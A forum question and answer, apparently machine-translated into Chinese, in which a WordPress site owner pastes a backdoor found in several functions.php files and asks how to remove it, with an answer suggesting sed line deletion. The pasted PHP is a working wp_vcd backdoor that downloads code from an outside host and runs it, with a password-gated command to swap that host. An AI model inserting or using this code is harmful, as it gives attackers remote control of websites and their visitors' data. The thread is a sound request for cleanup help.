我的Linux服务器上出现了多个域被黑客入侵 - 我不完全确定如何,我不能像黑客一样思考!但是他们设法破解了运行wordpress的多个域名。
我发现他们在多个位置的functions.php文件中有些网站重写代码。我对这些文件感到困惑,我需要花费很多时间去除每一段代码。有没有使用全局搜索/替换从所有文件中删除代码的快速方法?
违规代码是:
<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '751486a687f91a0d030551bb518f903e'))
{
$div_code_name="wp_vcd";
switch ($_REQUEST['action'])
{
case 'change_domain';
if (isset($_REQUEST['newdomain']))
{
if (!empty($_REQUEST['newdomain']))
{
if ($file = @file_get_contents(__FILE__))
{
if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code8\.php/i',$file,$matcholddomain))
{
$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
@file_put_contents(__FILE__, $file);
print "true";
}
}
}
}
break;
default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
}
die("");
}
if ( ! function_exists( 'theme_temp_setup' ) ) {
$path=$_SERVER['HTTP_HOST'].$_SERVER[REQUEST_URI];
if ( stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
function file_get_contents_tcurl($url) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
function theme_temp_setup($phpCode) {
$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
$handle = fopen($tmpfname, "w+");
fwrite($handle, "<?php\n" . $phpCode);
fclose($handle);
include $tmpfname;
unlink($tmpfname);
return get_defined_vars();
}
if($tmpcontent = @file_get_contents("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}
elseif($tmpcontent = @file_get_contents_tcurl("http://www.verna.cc/code8.php"))
{
extract(theme_temp_setup($tmpcontent));
}
}
}
?>
答案 0 :(得分:1)
如果服务器被黑客攻击,删除恶意代码不应该是您的主要/唯一问题。有关Information Security和其他地方的更多信息,但简而言之:
你没有备份,也不知道如何保护盒子(或花钱让别人为你做这件事)?有些人会说你完全没有公共服务器的业务......
回答您的实际问题:最好使用非交互式工具,例如sed
。如果添加的行数是常数且位于相同位置,则静态行号将执行:
sed -i '2,92d' file.php